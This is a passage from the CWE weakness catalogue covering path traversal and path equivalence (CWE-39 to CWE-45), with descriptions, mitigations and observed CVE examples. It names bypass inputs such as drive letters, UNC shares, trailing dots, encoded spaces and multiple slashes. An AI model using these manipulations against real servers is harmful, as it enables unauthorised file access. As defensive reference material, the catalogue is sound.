CVE-1999-1263	Mail client allows remote attackers to overwrite arbitrary files via an e-mail message containing a uuencoded attachment that specifies the full pathname for the file to be modified. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1263*
CVE-2003-0753	Remote attackers can read arbitrary files via a full pathname to the target file in config parameter. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0753*
CVE-2002-1525	Remote attackers can read arbitrary files via an absolute pathname. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1525*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	1887
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	1917
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1949

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			\absolute\pathname\here ('backslash absolute path')
CERT C Secure Coding	FIO05-C		Identify files using multiple file attributes
Software Fault Patterns	SFP16		Path Traversal

CWE-39: Path Traversal: 'C:dirname'

Weakness ID : 39 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

An attacker can inject a drive letter or Windows volume letter ('C:dirname') into a software system to potentially redirect access to an unintended location or arbitrary file.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	36	Absolute Path Traversal	69

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands *The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.*	
Integrity	Modify Files or Directories *The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end*	

Scope	Impact	Likelihood
	of a password file may allow an attacker to bypass authentication.	
Confidentiality	Read Files or Directories *The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.*	
Availability	DoS: Crash, Exit, or Restart *The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the software from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the software.*	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2001-0038	Remote attackers can read arbitrary files by specifying the drive letter in the requested URL. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0038*
CVE-2001-0255	FTP server allows remote attackers to list arbitrary directories by using the "ls" command and including the drive letter name (e.g. C:) in the requested pathname. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0255*
CVE-2001-0687	FTP server allows a remote attacker to retrieve privileged system information by specifying arbitrary paths. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0687*
CVE-2001-0933	FTP server allows remote attackers to list the contents of arbitrary drives via a ls command that includes the drive letter as an argument. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0933*
CVE-2002-0466	Server allows remote attackers to browse arbitrary directories via a full pathname in the arguments to certain dynamic pages. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0466*
CVE-2002-1483	Remote attackers can read arbitrary files via an HTTP request whose argument is a filename of the form "C:" (Drive letter), "//absolute/path", or ".." . *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1483*
CVE-2004-2488	FTP server read/access arbitrary files using "C:\" filenames *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2488*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	1887
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	1917
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1949

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			'C:dirname' or C: (Windows volume or 'drive letter')
CERT C Secure Coding	FIO05-C		Identify files using multiple file attributes
Software Fault Patterns	SFP16		Path Traversal

CWE-40: Path Traversal: '\\UNC\share\name\' (Windows UNC Share)

Weakness ID : 40 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

An attacker can inject a Windows UNC share ('\\UNC\share\name') into a software system to potentially redirect access to an unintended location or arbitrary file.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	36	Absolute Path Traversal	69

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Files or Directories Modify Files or Directories	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2001-0687	FTP server allows a remote attacker to retrieve privileged web server system information by specifying arbitrary paths in the UNC format (\\computername \sharename). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0687*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1949

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			'\\UNC\share\name\' (Windows UNC share)
Software Fault Patterns	SFP16		Path Traversal

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-41: Improper Resolution of Path Equivalence

Weakness ID : 41 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The system or application is vulnerable to file system contents disclosure through path equivalence. Path equivalence involves the use of special characters in file and directory names. The associated manipulations are intended to generate multiple names for the same object.

Extended Description

Path equivalence is usually employed in order to circumvent access controls expressed using an incomplete set of file name or file path representations. This is different from path traversal, wherein the manipulations are performed to generate a name for a different object.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	706	Use of Incorrectly-Resolved Name or Reference	1360
ParentOf	V	42	Path Equivalence: 'filename.' (Trailing Dot)	87
ParentOf	V	44	Path Equivalence: 'file.name' (Internal Dot)	89
ParentOf	V	46	Path Equivalence: 'filename ' (Trailing Space)	90
ParentOf	V	47	Path Equivalence: ' filename' (Leading Space)	92
ParentOf	V	48	Path Equivalence: 'file name' (Internal Whitespace)	93
ParentOf	V	49	Path Equivalence: 'filename/' (Trailing Slash)	94
ParentOf	V	50	Path Equivalence: '//multiple/leading/slash'	95
ParentOf	V	51	Path Equivalence: '/multiple//internal/slash'	96
ParentOf	V	52	Path Equivalence: '/multiple/trailing/slash//'	97
ParentOf	V	53	Path Equivalence: '\multiple\\internal\backslash'	98
ParentOf	V	54	Path Equivalence: 'filedir\' (Trailing Backslash)	99

Nature	Type	ID	Name	Page
ParentOf	V	55	Path Equivalence: '/./' (Single Dot Directory)	100
ParentOf	V	56	Path Equivalence: 'filedir*' (Wildcard)	102
ParentOf	V	57	Path Equivalence: 'fakedir/../realdir/filename'	103
ParentOf	V	58	Path Equivalence: Windows 8.3 Filename	104
PeerOf	B	1289	Improper Validation of Unsafe Equivalence in Input	1847
CanFollow	C	20	Improper Input Validation	19
CanFollow	B	73	External Control of File Name or Path	125
CanFollow	C	172	Encoding Error	399

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1219	File Handling Issues	2017

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Access Control	Read Files or Directories Modify Files or Directories Bypass Protection Mechanism *An attacker may be able to traverse the file system to unintended locations and read or overwrite the contents of unexpected files. If the files are used for a security mechanism than an attacker may be able to bypass the mechanism.*	

Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2000-1114	Source code disclosure using trailing dot *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1114*
CVE-2002-1986,	Source code disclosure using trailing dot *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1986,*
CVE-2004-2213	Source code disclosure using trailing dot or trailing encoding space "%20" *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2213*
CVE-2005-3293	Source code disclosure using trailing dot *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3293*
CVE-2004-0061	Bypass directory access restrictions using trailing dot in URL *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0061*
CVE-2000-1133	Bypass directory access restrictions using trailing dot in URL *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1133*
CVE-2001-1386	Bypass check for ".lnk" extension using ".lnk." *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1386*
CVE-2001-0693	Source disclosure via trailing encoded space "%20" *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0693*
CVE-2001-0778	Source disclosure via trailing encoded space "%20" *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0778*
CVE-2001-1248	Source disclosure via trailing encoded space "%20" *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1248*
CVE-2004-0280	Source disclosure via trailing encoded space "%20" *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0280*
CVE-2005-0622	Source disclosure via trailing encoded space "%20" *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0622*
CVE-2005-1656	Source disclosure via trailing encoded space "%20" *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1656*
CVE-2002-1603	Source disclosure via trailing encoded space "%20" *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1603*
CVE-2001-0054	Multi-Factor Vulnerability (MVF). directory traversal and other issues in FTP server using Web encodings such as "%20"; certain manipulations have unusual side effects. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0054*
CVE-2002-1451	Trailing space ("+" in query string) leads to source code disclosure. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1451*
CVE-2000-0293	Filenames with spaces allow arbitrary file deletion when the product does not properly quote them; some overlap with path traversal. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0293*
CVE-2001-1567	"+" characters in query string converted to spaces before sensitive file/ extension (internal space), leading to bypass of access restrictions to the file. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1567*
CVE-2002-0253	Overlaps infoleak *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0253*
CVE-2001-0446	Application server allows remote attackers to read source code for .jsp files by appending a / to the requested URL. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0446*
CVE-2004-0334	Bypass Basic Authentication for files using trailing "/" *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0334*
CVE-2001-0893	Read sensitive files with trailing "/" *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0893*
CVE-2001-0892	Web server allows remote attackers to view sensitive files under the document root (such as .htpasswd) via a GET request with a trailing /. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0892*

Reference	Description
CVE-2004-1814	Directory traversal vulnerability in server allows remote attackers to read protected files via .. (dot dot) sequences in an HTTP request. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1814*
BID:3518	Source code disclosure *http://www.securityfocus.com/bid/3518*
CVE-2002-1483	Read files with full pathname using multiple internal slash. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1483*
CVE-1999-1456	Server allows remote attackers to read arbitrary files via a GET request with more than one leading / (slash) character in the filename. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1456*
CVE-2004-0578	Server allows remote attackers to read arbitrary files via leading slash (//) characters in a URL request. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0578*
CVE-2002-0275	Server allows remote attackers to bypass authentication and read restricted files via an extra / (slash) in the requested URL. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0275*
CVE-2004-1032	Product allows local users to delete arbitrary files or create arbitrary empty files via a target filename with a large number of leading slash (/) characters. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1032*
CVE-2002-1238	Server allows remote attackers to bypass access restrictions for files via an HTTP request with a sequence of multiple / (slash) characters such as http://www.example.com///file/. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1238*
CVE-2004-1878	Product allows remote attackers to bypass authentication, obtain sensitive information, or gain access via a direct request to admin/user.pl preceded by // (double leading slash). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1878*
CVE-2005-1365	Server allows remote attackers to execute arbitrary commands via a URL with multiple leading "/" (slash) characters and ".." sequences. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1365*
CVE-2000-1050	Access directory using multiple leading slash. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1050*
CVE-2001-1072	Bypass access restrictions via multiple leading slash, which causes a regular expression to fail. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1072*
CVE-2004-0235	Archive extracts to arbitrary files using multiple leading slash in filenames in the archive. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0235*
CVE-2002-1078	Directory listings in web server using multiple trailing slash *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1078*
CVE-2004-0847	ASP.NET allows remote attackers to bypass authentication for .aspx files in restricted directories via a request containing a (1) "\" (backslash) or (2) "%5C" (encoded backslash), aka "Path Validation Vulnerability." *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0847*
CVE-2000-0004	Server allows remote attackers to read source code for executable files by inserting a . (dot) into the URL. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0004*
CVE-2002-0304	Server allows remote attackers to read password-protected files via a /./ in the HTTP request. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0304*
BID:6042	Input Validation error *http://www.securityfocus.com/bid/6042*
CVE-1999-1083	Possibly (could be a cleansing error)

Reference	Description
	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1083
CVE-2004-0815	"/.////etc" cleansed to ".///etc" then "/etc" *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0815*
CVE-2002-0112	Server allows remote attackers to view password protected files via /./ in the URL. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0112*
CVE-2004-0696	List directories using desired path and "*" *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0696*
CVE-2002-0433	List files in web server using "*.ext" *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0433*
CVE-2001-1152	Proxy allows remote attackers to bypass denylist restrictions and connect to unauthorized web servers by modifying the requested URL, including (1) a // (double slash), (2) a /SUBDIR/.. where the desired file is in the parentdir, (3) a /./, or (4) URL-encoded characters. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1152*
CVE-2000-0191	application check access for restricted URL before canonicalization *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0191*
CVE-2005-1366	CGI source disclosure using "dirname/../cgi-bin" *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1366*
CVE-1999-0012	Multiple web servers allow restriction bypass using 8.3 names instead of long names *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0012*
CVE-2001-0795	Source code disclosure using 8.3 file name. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0795*
CVE-2005-0471	Multi-Factor Vulnerability. Product generates temporary filenames using long filenames, which become predictable in 8.3 format. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0471*

Affected Resources

- File or Directory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	1875
MemberOf	C	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	1887
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	1917
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1949

Notes

Relationship

Some of these manipulations could be effective in path traversal issues, too.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Path Equivalence

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	FIO02-C		Canonicalize path names originating from untrusted sources

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters

CWE-42: Path Equivalence: 'filename.' (Trailing Dot)

Weakness ID : 42 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

A software system that accepts path input in the form of trailing dot ('filedir.') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	V	162	Improper Neutralization of Trailing Special Elements	384
ChildOf	B	41	Improper Resolution of Path Equivalence	81
ParentOf	V	43	Path Equivalence: 'filename....' (Multiple Trailing Dot)	88

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Observed Examples

Reference	Description
CVE-2000-1114	Source code disclosure using trailing dot *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1114*
CVE-2002-1986,	Source code disclosure using trailing dot *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1986,*
CVE-2004-2213	Source code disclosure using trailing dot *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2213*
CVE-2005-3293	Source code disclosure using trailing dot *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3293*
CVE-2004-0061	Bypass directory access restrictions using trailing dot in URL *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0061*
CVE-2000-1133	Bypass directory access restrictions using trailing dot in URL *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1133*
CVE-2001-1386	Bypass check for ".lnk" extension using ".lnk." *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1386*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1949

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Trailing Dot - 'filedir.'
Software Fault Patterns	SFP16		Path Traversal

CWE-43: Path Equivalence: 'filename....' (Multiple Trailing Dot)

Weakness ID : 43 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

A software system that accepts path input in the form of multiple trailing dot ('filedir....') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	V	163	Improper Neutralization of Multiple Trailing Special Elements	386
ChildOf	V	42	Path Equivalence: 'filename.' (Trailing Dot)	87

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Files or Directories Modify Files or Directories	

Observed Examples

Reference	Description
BUGTRAQ:20040205	Apache + Resin Reveals JSP Source Code ... *http://marc.info/?l=bugtraq&m=107605633904122&w=2*
CVE-2004-0281	Multiple trailing dot allows directory listing *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0281*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1949

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Multiple Trailing Dot - 'filedir....'
Software Fault Patterns	SFP16		Path Traversal

CWE-44: Path Equivalence: 'file.name' (Internal Dot)

Weakness ID : 44 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

A software system that accepts path input in the form of internal dot ('file.ordir') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	41	Improper Resolution of Path Equivalence	81
ParentOf	V	45	Path Equivalence: 'file...name' (Multiple Internal Dot)	90

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1949

Notes

Relationship

An improper attempt to remove the internal dots from the string could lead to CWE-181 (Incorrect Behavior Order: Validate Before Filter).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Internal Dot - 'file.ordir'

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP16		Path Traversal

CWE-45: Path Equivalence: 'file...name' (Multiple Internal Dot)

Weakness ID : 45 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

A software system that accepts path input in the form of multiple internal dot ('file...dir') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

